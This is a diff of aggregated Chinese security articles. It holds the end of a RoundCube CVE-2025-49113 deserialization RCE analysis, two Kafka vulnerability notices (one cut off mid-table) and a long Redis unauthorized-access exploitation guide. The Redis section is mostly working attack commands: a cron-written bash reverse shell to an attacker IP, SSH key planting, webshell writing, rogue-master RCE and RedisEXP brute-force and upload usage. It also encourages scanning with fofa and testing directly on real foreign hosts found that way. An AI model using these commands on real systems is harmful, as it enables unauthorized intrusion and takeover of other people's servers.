||||
至此拥有了任意对象反序列化的能力，在系统中存在一个使用原生反序列化处理session顶层key的地方
|
||||
program/include/rcmail.php[#logout]()
|
||||
_actions
|
||||
：
|
||||
|
||||
|
||||
|
||||
所以需要在构造payload的时候，逃逸出来一个位于顶层的
|
||||
preferences
|
||||
键，再寻找到一个合适的gadget进行利用即可，但是需要注意的是由于文件名这个字段的特殊性，我们无法构造出带有路径符号的payload导致寻找gadget的时候有一些受限。
|
||||
|
||||
**03**
|
||||
|
||||
**pop chain**
|
||||
|
||||
|
||||
由于RC使用了
|
||||
guzzle
|
||||
理所当然想到
|
||||
FileCookieJar
|
||||
和
|
||||
FnStream
|
||||
，但是由于这两个类需要带入命名空间，受文件名的影响这两个gadget只能放弃，但是全局搜索后发现存在一个不需要命名空间并且析构函数中存在命令执行操作的类
|
||||
Crypt_GPG_Engine
|
||||
。
|
||||
|
||||
|
||||
|
||||
所以这里可以直接构造出来
|
||||
$this->_gpgconf
|
||||
然后使用
|
||||
proc_open
|
||||
进行命令执行，比较简单的链，但是由于文件名处的干扰，这里需要做一下绕过。
|
||||
|
||||
|
||||
使用
|
||||
proc_open
|
||||
执行
|
||||
echo $0
|
||||
之后发现是
|
||||
sh
|
||||
，那么不用考虑这里没给
|
||||
proc_open
|
||||
传入包含
|
||||
PATH
|
||||
的环境变量，可以直接使用各个命令用于绕过，比如下面的命令：
|
||||
|
||||
|
||||
|
||||
至此完成了反序列化的利用工作，通过配合logout中的
|
||||
unserialize($_SESSION['preferences'])
|
||||
，构造逃逸出一个
|
||||
preferences
|
||||
键即可。
|
||||
|
||||
**04**
|
||||
|
||||
**利用截图**
|
||||
|
||||
|
||||
|
||||
|
||||
五
|
||||
|
||||
|
||||
**总 结**
|
||||
|
||||
|
||||
本文从CVE-2025-49113的漏洞描述信息为入口点，找到RoundCube中对session进行自定义反序列化时会出现的问题，最终实现反序列化攻击导致RCE。这个漏洞的利用比较巧妙，同时也比较
|
||||
巧合
|
||||
，比如
|
||||
刚好存
|
||||
在一个没有命名空间又同时可以做命令注入
|
||||
的
|
||||
Crypt_GPG_Engine
|
||||
|
||||
类
|
||||
，也存在直接对session某项数据进行原生反序列化的地方。
|
||||
|
||||
|
||||
最终漏洞修复方式为对
|
||||
$type
|
||||
|
||||
参数进行了一次
|
||||
rcube_utils::is_simple_string
|
||||
|
||||
的过滤，其中只允许存在 \w.-
|
||||
|
||||
的存在，无法再通过传入
|
||||
!
|
||||
|
||||
进行逃逸
|
||||
。
|
||||
|
||||
|
||||
【版权说明】
|
||||
|
||||
【版权说明】
|
||||
|
||||
本作品著作权归**4uuu Nya**
|
||||
所有
|
||||
|
||||
未经作者同意，不得转载
|
||||
|
||||
|
||||
|
||||
**4uuu Nya**
|
||||
|
||||
|
||||
天工实验室安全研究员,Nu1L Team，Web安全与代码审计。
|
||||
|
||||
|
||||
**往期回顾**
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
[CVE-2024-47575 漏洞分析及三种利用方式](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487354&idx=1&sn=44aee310cb9ef148d0a41a5da713e6c6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**0****2**
|
||||
|
||||
[通用Linux x64内核态shellcode编写技巧](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487321&idx=1&sn=64e8755abab262aca1104de5f3cceef3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**0****3**
|
||||
|
||||
[基于路由转发导致的权限认证绕过漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487296&idx=1&sn=4a1242ec620fb15daa80efad6cf99ae6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
**0****4**
|
||||
|
||||
[隐匿与追踪：Rootkit检测与绕过技术分析](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487216&idx=1&sn=8b6fdfec8b4754eda7cfdbd4e8ab6a13&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**每周三更新一篇技术文章 点击关注我们吧！**
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,12 @@
|
||||
# KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞
|
||||
独眼情报 2025-06-10 05:06
|
||||
|
||||
|
||||
|
||||
在 Apache Kafka Client 3.9.0 及更早版本中发现了一个被评为关键的漏洞。这影响了一些未知的处理过程。对未知输入的操控会导致服务器端请求伪造漏洞。CWE 将此问题归类为 CWE-918。Web 服务器从上游组件接收 URL 或类似请求并检索该 URL 的内容，但它没有充分确保请求被发送到预期的目的地。这将对机密性、完整性和可用性产生影响。
|
||||
|
||||
该安全公告在 lists.apache.org 上共享。自 2025 年 3 月 7 日起，此漏洞被唯一标识为 CVE-2025-27817。据称该漏洞易于利用。可以远程发起攻击。目前尚未公开提供技术细节或漏洞利用程序。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,426 @@
|
||||
# Redis未授权漏洞复现汇总
|
||||
网安探索员 网安探索员 2025-06-10 12:00
|
||||
|
||||
原文链接:
|
||||
|
||||
https://www.freebuf.com/articles/web/433079.html
|
||||
## Redis介绍
|
||||
> Redis是现在最受欢迎的NoSQL数据库之一，Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库，其具备如下特性：
|
||||
> 基于内存运行，性能高效支持分布式，理论上可以无限扩展key-value存储系统开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
|
||||
> 目前guthub/twitter/微博/阿里/美团/百度等大厂都在使用Redis，Redis 的应用场景包括：缓存系统（“热点”数据：高频读、低频写）、计数器、消息队列系统、排行榜、社交网络和实时系统。
|
||||
|
||||
## redis常用指令以及配置文件介绍
|
||||
> 1.redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP，也可以通过指定域名
|
||||
> 2.info # 查看相关redis信息
|
||||
> 3.set xz "Hacker" # 设置键xz的值为字符串Hacker
|
||||
> 4.get xz # 获取键xz的内容
|
||||
> 5.INCR score # 使用INCR命令将score的值增加1
|
||||
> 6.keys * # 列出当前数据库中所有的键
|
||||
> 7.config set protected-mode no # 关闭安全模式
|
||||
> 8.get anotherkey # 获取一个不存在的键的值
|
||||
> 9.config set dir /root/redis # 设置保存目录
|
||||
> 10.config set dbfilename redis.rdb # 设置保存文件名
|
||||
> 11.config get dir # 查看保存目录
|
||||
> 12.config get dbfilename # 查看保存文件名
|
||||
> 13.save # 进行一次备份操作
|
||||
> 14.flushall # 删除所有数据
|
||||
> 15.del key # 删除键为key的数据
|
||||
> 16.slaveof ip port # 设置主从关系
|
||||
>
|
||||
> 17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3 #批量设置键值对
|
||||
> OK
|
||||
>
|
||||
> 18.127.0.0.1:6379> mget k1 k2 k3 #批量获取键值对
|
||||
> 1) "v1"
|
||||
> 2) "v2"
|
||||
> 3) "v3"
|
||||
> 使用SET和GET命令，可以完成基本的赋值和取值操作；
|
||||
> Redis是不区分命令的大小写的，set和SET是同一个意思；
|
||||
> 使用keys *可以列出当前数据库中的所有键；
|
||||
> 当尝试获取一个不存在的键的值时，Redis会返回空，即(nil)；
|
||||
> 如果键的值中有空格，需要使用双引号括起来，如"Hello World";
|
||||
|
||||
### redis.conf配置文件参数
|
||||
> port参数：
|
||||
格式为port后面接端口号，如port 6379，表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
|
||||
> bind参数：
|
||||
格式为bind后面接IP地址，可以同时绑定在多个IP地址上，IP地址之间用空格分离，如bind 192.168.47.173 10.0.0.1，表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接，说白了就是白名单。
|
||||
> save参数：
|
||||
格式为save <秒数> <变化数>，表示在指定的秒数内数据库存在指定的改变数时自动进行备份（Redis是内存数据库，这里的备份就是指把内存中的数据备份到磁盘上）。可以同时指定多个save参数，如：
|
||||
save 900 1
|
||||
save 300 10
|
||||
save 60 10000
|
||||
表示如果数据库的内容在60秒后产生了10000次改变，或者300秒后产生了10次改变，或者900秒后产生了1次改变，那么立即进行备份操作。
|
||||
> requirepass参数：
|
||||
格式为requirepass后接指定的密码，用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的，说明不需要密码即可连接；同时，配置文件有一条注释了的requirepass foobared命令，如果去掉注释，表示需要使用foobared密码才能连接Redis数据库。
|
||||
> dir参数：
|
||||
格式为dir后接指定的路径，默认为dir ./，指明Redis的工作目录为当前目录，即redis-server文件所在的目录。注意，Redis产生的备份文件将放在这个目录下。
|
||||
> dbfilename参数：
|
||||
格式为dbfilename后接指定的文件名称，用于指定Redis备份文件的名字，默认为dbfilename dump.rdb，即备份文件的名字为dump.rdb。
|
||||
> config命令：
|
||||
通过config命令可以读取和设置dir参数以及dbfilename参数，因为这条命令比较危险（实验将进行详细介绍），所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作，如rename-command CONFIG HTCMD，可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
|
||||
> protected-mode参数：
|
||||
redis3.2之后添加了protected-mode安全模式，默认值为yes，开启后禁止外部连接，所以在测试时，先在配置中修改为no。
|
||||
|
||||
## Redis未授权访问漏洞介绍
|
||||
> **Redis**
|
||||
默认情况下，会绑定在 **0.0.0.0:6379**
|
||||
，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
|
||||
> 攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的**config 命令**
|
||||
，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 **/root/.ssh**
|
||||
文件夹的**authotrized_keys**
|
||||
文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。
|
||||
|
||||
## Redis常见getshell漏洞汇总
|
||||
|
||||
|
||||
|
||||
|
||||
## Redis资产获取
|
||||
> 这里我使用fofa进行举例，还可以使用hunter,quark,zoomeye之类的工具，语法都是大同小异。
|
||||
>
|
||||
> fofa语法：
|
||||
> protocol="redis"
|
||||
> port="6379"
|
||||
> app="reds"
|
||||
> 也可以三个一起用，结果更加精准。
|
||||
> protocol="redis"&&port="6379"&&app="redis"
|
||||
> 如果攻防之类的有特定要求
|
||||
> 可以使用city,is_domain,等条件进一步缩小范围。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
> 当然很多情况我们没有会员无法进行导出，所以可以从海鲜平台花个十几块，每个工具的key进行导出测试，比如使用fofa_view等工具。
|
||||
|
||||
|
||||
|
||||
> fofa_view工具进行资产导出
|
||||
|
||||
|
||||
|
||||
> 导出测试就可以。
|
||||
|
||||
|
||||
## Redis漏洞发现
|
||||
> 我推荐使用afrog进行测试,将得到的资产保存到redis.txt里面
|
||||
> 语法：
|
||||
> afrog -s redis -pl #进行查看确实有poc
|
||||
|
||||
|
||||
|
||||
|
||||
> 使用这个语法进行测试,结果保存到，reids.html
|
||||
>
|
||||
> afrog -s redis -T redis.txt -S high -o redis.html
|
||||
>
|
||||
> -s 指定poc
|
||||
> -T 指定redis资产文件
|
||||
> -o 报错结果
|
||||
> -S 指定威胁等级
|
||||
|
||||
|
||||
|
||||
> 一般工具的误报很低很低。
|
||||
|
||||
|
||||
|
||||
> 之后结果查看确实可以未授权看到redis数据库里面的内容。
|
||||
|
||||
## 复现环境搭建
|
||||
|
||||
redis服务器安装
|
||||
> 靶机:centos7
|
||||
wget https://download.redis.io/releases/redis-4.0.10.tar.gz//下载redis压缩包
|
||||
tar -zxvfredis-4.0.10.tar.gz//解压我们下载的压缩包
|
||||
> cd redis-4.0.10/src//然后进入redis的src目录下
|
||||
然后进行编译安装
|
||||
make
|
||||
make install
|
||||
> 如果报错就先装gcc-c++,之后在操作
|
||||
> [root@bogon redis-4.0.6]# yum install gcc-c++ yum安装gcc
|
||||
> [root@bogon redis-4.0.6]# make distclean 清空上次编译失败残留文件
|
||||
> [root@bogon redis-4.0.6]# make && make install 执行编译及安装
|
||||
>
|
||||
> 之后进行配置
|
||||
>
|
||||
> vim打开redis.conf文件，然后找到daemonize 值改为yes（后台启动，不然窗口一关服务就挂了）
|
||||
bind 127.0.0.1注释掉，否则只允许本地访问
|
||||
> requirepass yourpassword可以设置密码
|
||||
protected-mode no
|
||||
启动redis服务：需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录，根据自己当前所在目录进行调用)
|
||||
>
|
||||
> redis.conf 在redis的一级目录下面
|
||||
redis-server 在src目录下面
|
||||
>
|
||||
|
||||
|
||||
安装redis客户端
|
||||
> 攻击机：kali
|
||||
get https://download.redis.io/releases/redis-7.0.0.tar.gz
|
||||
tar -zxf redis-7.0.0.tar.gz
|
||||
cd redis-7.0.0
|
||||
make
|
||||
cp src/redis-cli /usr/bin
|
||||
> // 测试连接
|
||||
redis-cli -h your_host -p 6379 -a "pass" --raw
|
||||
-h: 远程连接的主机
|
||||
-p: 远程连接的端口
|
||||
-a: 密码
|
||||
--raw：解决中文乱码。
|
||||
|
||||
|
||||
**注：测试的时候如果出现redis客户端一直连不上的情况，在靶机上执行了以下命令，客户端就可以连接上了。**
|
||||
> iptables -F
|
||||
setenforce 0
|
||||
systemctl stop firewalld.service
|
||||
> iptables -F：
|
||||
> 该命令用来清除（flush）所有现有的 iptables 防火墙规则。iptables 是 Linux 中的包过滤工具，负责管理网络流量的过滤和路由。执行这个命令后，所有已设置的防火墙规则都会被清空，网络流量将不再受到任何过滤。
|
||||
setenforce 0：
|
||||
> 这个命令用于设置 SELinux（Security-Enhanced Linux）模式为宽松模式（Permissive）。在 SELinux 的宽松模式下，SELinux 仍然会记录违规事件，但不会阻止或限制任何操作。相比之下，如果设置为强制模式（setenforce 1），SELinux 会严格执行安全策略，拒绝所有不符合规则的操作。
|
||||
systemctl stop firewalld.service：
|
||||
> 该命令用于停止 firewalld 服务。firewalld 是一个基于区域的防火墙管理工具，提供了一种更灵活和动态的防火墙管理方式。执行该命令后，firewalld 防火墙会被停止，从而停止所有通过 firewalld 管理的防火墙规则。
|
||||
|
||||
### 如果环境有问题可以自行百度或者直接从资产里拿国外的直接进行测试即可。
|
||||
## 未授权利用计划任务反弹shell
|
||||
|
||||
**漏洞原理**
|
||||
|
||||
利用Redis未授权漏洞，可以通过写入文件到系统计划任务目录 **/var/spool/cron/crontabs**
|
||||
下来执行；(/crontabskali系统下的计划任务文件夹。）
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
在kali上建立起nc监听。
|
||||
> nv -lvvp 2333
|
||||
|
||||
|
||||
之后使用
|
||||
> redis-cli -h 192.168.138.128 # 未授权访问redis服务
|
||||
>
|
||||
> 192.168.136.169:6379> set xxx "\n\n * * * * * bash -i >& /dev/tcp/192.168.136.128/2333 0>&1 \n\n"
|
||||
OK # /添加名为xxx的key，值为后面反弹shell的语句,5个星号代表每分钟执行一次，其中的\n同样是为了换行，避免crontab的语法错误。这里你也可以去不加\n，去看看乱码，踩个坑才能印象深刻
|
||||
192.168.136.169:6379> config set dir /var/spool/cron/
|
||||
OK # 设置路径
|
||||
192.168.136.169:6379> config set dbfilename root
|
||||
OK # 设置文件名
|
||||
192.168.136.169:6379> save
|
||||
OK # 保存key值到文件中
|
||||
192.168.136.169:6379>
|
||||
>
|
||||
> 之后过一会
|
||||
>
|
||||
> ──(root㉿kali)-[~/桌面]
|
||||
└─# nc -lvvp 2333
|
||||
listening on [any] 2333 ...
|
||||
192.168.136.169: inverse host lookup failed: Unknown host
|
||||
connect to [192.168.136.128] from (UNKNOWN) [192.168.136.169] 52438
|
||||
bash: 此 shell 中无任务控制
|
||||
[root@localhost ~]# ls
|
||||
ls
|
||||
anaconda-ks.cfg
|
||||
ElectricRat-docker
|
||||
ElectricRat-docker.zip
|
||||
initial-setup-ks.cfg
|
||||
redis-4.0.10
|
||||
redis-4.0.10.tar.gz
|
||||
公共
|
||||
模板
|
||||
视频
|
||||
图片
|
||||
文档
|
||||
下载
|
||||
音乐
|
||||
桌面
|
||||
[root@localhost ~]#
|
||||
|
||||
## 利用redis写ssh公钥实现ssh登录
|
||||
|
||||
**漏洞原理**
|
||||
|
||||
在数据库中插入一条数据，将本机的**公钥**
|
||||
作为value，key值，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。
|
||||
|
||||
**利用条件：**
|
||||
|
||||
redis对外开放，且是未授权访问状态，并且redis服务ssh对外开放，可以通过key登入。
|
||||
|
||||
**利用过程**
|
||||
|
||||
确保CentOS 7 ssh服务开启着：
|
||||
> 查看ssh服务状态
|
||||
systemctl status sshd.service
|
||||
|
||||
|
||||
尝试使用Kali远程连接ssh：ssh root@192.168.1.8，可以看到需要登密码。
|
||||
|
||||
|
||||
|
||||
攻击机(Kali)上创建**ssh-rsa**
|
||||
密钥，也就是生成key，这里什么也不输入，连续回车三次。
|
||||
```
|
||||
```
|
||||
|
||||
Your public key has been saved in /root/.ssh/id_rsa.pub
|
||||
|
||||
可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub路径下，输入ls -al /root/.ssh/命令可以看到保存的公钥文件。
|
||||
|
||||
|
||||
将公钥导入**key.txt**
|
||||
，（前后用\n换行，避免和redis里其他缓存数据混合，是用于防止乱码）；
|
||||
```
|
||||
```
|
||||
|
||||
ls -al /root/.ssh/可以查看生成的key.txt文件，使用cat /root/.ssh/key.txt查看密钥内容。
|
||||
|
||||
|
||||
Kali通过redis的未授权访问漏洞，将key.txt生成的公钥写入靶机服务器的内存之中：
|
||||
```
|
||||
```
|
||||
|
||||
**-x**
|
||||
代表从标准输入读取数据作为该命令的最后一个参数。
|
||||
|
||||
Kali通过redis远程登陆，输入key *，查看crack，输入get crack查看公钥内容。
|
||||
|
||||
|
||||
|
||||
设置路径和保存的文件名，将内存变量导入磁盘文件。
|
||||
```
|
||||
```
|
||||
|
||||
注意：这里报错(error) ERR Changing directory: No such file or directory的意思是靶机没有这个文件目录， 原因是.ssh 是记录密码信息的文件夹，如果没有用root用户登录过的话，就没有 .ssh 文件夹，所以我们在靶机上执行下面这条命令（mkdir /root/.ssh）手动创建.ssh目录。
|
||||
|
||||
|
||||
靶机(CentOS 7)可以执行cat /root/.ssh/authorized_keys查看公钥已经成功导入；此时，在攻击机(Kali)这里用ssh连接靶机，可成功连接。
|
||||
```
|
||||
```
|
||||
|
||||
ifconfig查看ssh成功连接。
|
||||
> ──(root㉿kali)-[~/.ssh]
|
||||
└─# ssh -i id_rsa [email protected]
|
||||
Last login: Thu May 23 15:18:56 2024 from 192.168.1.8
|
||||
[root@localhost ~]#
|
||||
然后直接接管服务器了
|
||||
|
||||
## 利用redis写入Webshell
|
||||
|
||||
**利用条件：**
|
||||
- 服务器开着web服务
|
||||
|
||||
- redis有web目录写权限，可以往web路径写入文件
|
||||
|
||||
**复现过程：**
|
||||
|
||||
在攻击机Kali上未授权访问Redis。
|
||||
```
|
||||
```
|
||||
|
||||
通过redis-cli向apache的/var/www/html目录下写webshell文件，并使用蚁剑连接。
|
||||
```
|
||||
```
|
||||
|
||||
访问192.168.1.8/shell.php使webshell脚本生效，再使用蚁剑连接。
|
||||
|
||||
|
||||
|
||||
## Redis主从复制 GetShell
|
||||
## 漏洞原理
|
||||
|
||||
漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
|
||||
|
||||
在redis 4.x之后，通过外部拓展可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意.so文件，即可执行命令。
|
||||
## 利用条件
|
||||
- 影响版本：Redis 4.x/5.x (<= 5.0.5)
|
||||
|
||||
- 漏洞类型：RCE
|
||||
|
||||
- 利用条件：未授权或者弱口令外网访问redis 服务
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
**直接使用攻击即可：**
|
||||
Awsome-Redis-Rogue-Server
|
||||
|
||||
下载地址：https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
|
||||
|
||||
利用工具反弹shell：可以执行一下语句进行反弹shell。
|
||||
```
|
||||
```
|
||||
|
||||
--rhost [靶机] --lhost [黑客攻击]，运行时可能存在编码错误，将.py文件改为gbk编码。
|
||||
|
||||
注意：脚本运行的时候，有两种模式【i】交互式，也就是命令行；【r】反弹shell。
|
||||
|
||||
反弹shell:
|
||||
|
||||
|
||||
|
||||
交互模式：
|
||||
|
||||
|
||||
|
||||
这部分的缺点就是只适用于目标机器**允许远程登录**
|
||||
的时候，如果目标机子只允许本地登录，则这种利用方法就不行了，此时可以配合其他漏洞，从目标本地登录redis。
|
||||
## redis自动测试工具推荐
|
||||
## RedisEXP
|
||||
> 基本连接:
|
||||
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
|
||||
> 执行Redis命令：
|
||||
RedisExp.exe -m cli -r 192.168.19.1 -p 6379 -w 123456 -c info
|
||||
> 加载dll或so执行命令：
|
||||
RedisExp.exe -m load -r 目标IP -p 目标端口 -w 密码 -rf (目标 dll | so 文件名)
|
||||
RedisEXP.exe -m load -r 127.0.0.1 -p 6379 -rf exp.dll -n system -t system.exec
|
||||
> 主从复制命令执行：
|
||||
RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名[exp.dll | exp.so (Linux)]
|
||||
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami
|
||||
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami -rf exp.so
|
||||
> 主从复制上传文件：
|
||||
RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件
|
||||
RedisEXP.exe -m upload -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -rp . -rf 1.txt -lf .\README.md
|
||||
> 主动关闭主从复制：
|
||||
RedisExp.exe -m close -r 目标IP -p 目标端口 -w 密码
|
||||
> 写计划任务：
|
||||
RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort
|
||||
RedisEXP.exe -m cron -r 192.168.1.8 -p 6379 -L 192.168.1.8 -P 9001
|
||||
> 写SSH 公钥：
|
||||
RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥
|
||||
RedisEXP.exe -m ssh -r 192.168.1.8 -p 6379 -u root -s ssh-aaaaaaaaaaaaaa
|
||||
> 写webshell：
|
||||
RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [base64内容使用 -b 来解码]
|
||||
RedisEXP.exe -m shell -r 127.0.0.1 -p 6379 -rp . -rf shell.txt -s MTIzNA== -b
|
||||
> CVE-2022-0543：
|
||||
RedisExp.exe -m cve -r 目标IP -p 目标端口 -w 密码 -c 执行命令
|
||||
> 爆破Redis密码：
|
||||
RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典
|
||||
RedisEXP.exe -m brute -r 127.0.0.1 -p 6378 -f pass.txt
|
||||
> 生成gohper：
|
||||
RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件
|
||||
> 执行 bgsave：
|
||||
RedisExp.exe -m bgsave -r 目标IP -p 目标端口 -w 密码
|
||||
> 判断文件（需要绝对路径）：
|
||||
RedisExp.exe -m dir -r 目标IP -p 目标端口 -w 密码 -rf c:\windows\win.ini
|
||||
|
||||
|
||||
redis未授权检测
|
||||
|
||||
基本连接
|
||||
> .\RedisEXP.exe -r 123.58.224.8 -p 38798
|
||||
|
||||
|
||||
|
||||
|
||||
## redis未授权访问漏洞防护建议
|
||||
> 将redis版本升级到4.x/5.05或以上；将redis的默认端口号6379修改为其他端口号并避免redis端口暴露在公网；设置密码认证（一般为空），可以免密码远程登陆redis服务；利用防火墙对访问redis服务器的流量进行检测拦截；绑定内网ip地址进行访问。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
# 【复现】Kafka Connect任意文件读取漏洞（CVE-2025-27817）风险通告
|
||||
赛博昆仑CERT 2025-06-10 12:05
|
||||
|
||||
|
||||
|
||||
|
||||
-
|
||||
赛博昆仑漏洞
|
||||
安全风险通告
|
||||
-
|
||||
|
||||
Kafka Connect任意文件读取漏洞（CVE-2025-27817）风险通告
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞描****述**
|
||||
|
||||
|
||||
Kafka Connect 是一种用于在 Apache Kafka 和其他系统之间可扩展且可靠地流式传输数据的工具。 它使快速定义将大量数据移入和移出 Kafka 的连接器变得简单。 Kafka Connect 可以摄取整个数据库或从所有应用程序服务器收集指标到 Kafka 主题中，使数据可用于低延迟的流处理。 导出作业可以将数据从 Kafka 主题传送到二级存储和查询系统或批处理系统进行离线分析。
|
||||
|
||||
赛博昆仑CERT监测到
|
||||
Kafka Connect任意文件读取漏洞
|
||||
（CVE-2025-27817）
|
||||
的漏洞情报，攻击者在未授权的情况下可以利用该漏洞读取
|
||||
Kafka Connect服务器上的任意文件，从而造成信息泄露。
|
||||
|
||||
<table><tbody><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;word-break: break-all;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">漏洞名称</span></strong></span></p></td><td colspan="3" data-colwidth="144,144,144"><p><span leaf="" style="color: rgb(0, 122, 170);"><span textstyle="" style="font-size: 13px;">Kafka Connect任意文件读取漏洞</span></span></p></td></tr><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">漏洞公开编号</span></strong></span></p></td><td colspan="3" data-colwidth="144,144,144"><p style="-webkit-tap-highlight-color: transparent;margin-bottom: 8px;outline: 0px;font-family: "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);visibility: visible;"><span leaf="" data-pm-slice="1 1 ["para",{"tagName":"p","attributes":{"style":"-webkit-tap-highlight-color: transparent;margin-bottom: 8px;outline: 0px;font-family: \"PingFang SC\", system-ui, -apple-system, BlinkMacSystemFont, \"Helvetica Neue\", \"Hiragino Sans GB\", \"Microsoft YaHei UI\", \"Microsoft YaHei\", Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);visibility: visible;"},"namespaceURI":"http://www.w3.org/1999/xhtml"},"node",{"tagName":"span","attributes":{"style":"-webkit-tap-highlight-color: transparent;outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, \"Helvetica Neue\", \"PingFang SC\", \"Hiragino Sans GB\", \"Microsoft YaHei UI\", \"Microsoft YaHei\", Arial, sans-serif;color: rgb(91, 91, 91);font-size: 14px;letter-spacing: 1.8px;text-indent: 31.5994px;visibility: visible;"},"namespaceURI":"http://www.w3.org/1999/xhtml"}]" style="color: rgb(0, 122, 170);"><span textstyle="" style="font-size: 13px;">CVE-2025-27817</span></span></p></td></tr><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">昆仑漏洞库编号</span></strong></span></p></td><td colspan="3" data-colwidth="144,144,144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">CYKL-2025-032809</span></span></p></td></tr><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">漏洞类型</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">文件读取/ssrf</span><span leaf=""><br/></span></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">公开时间</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">2025-6-9</span></span></p></td></tr><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">漏洞等级</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">高危</span></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><strong><span leaf="">评分</span></strong></span></p></td><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 170);"><span leaf="">7.5</span></span></p></td></tr><tr style="height:39px;"><td data-colwidth="144" width="144" style="font-size: 10pt;text-align: left;"><p><span style="color: rgb(0, 122, 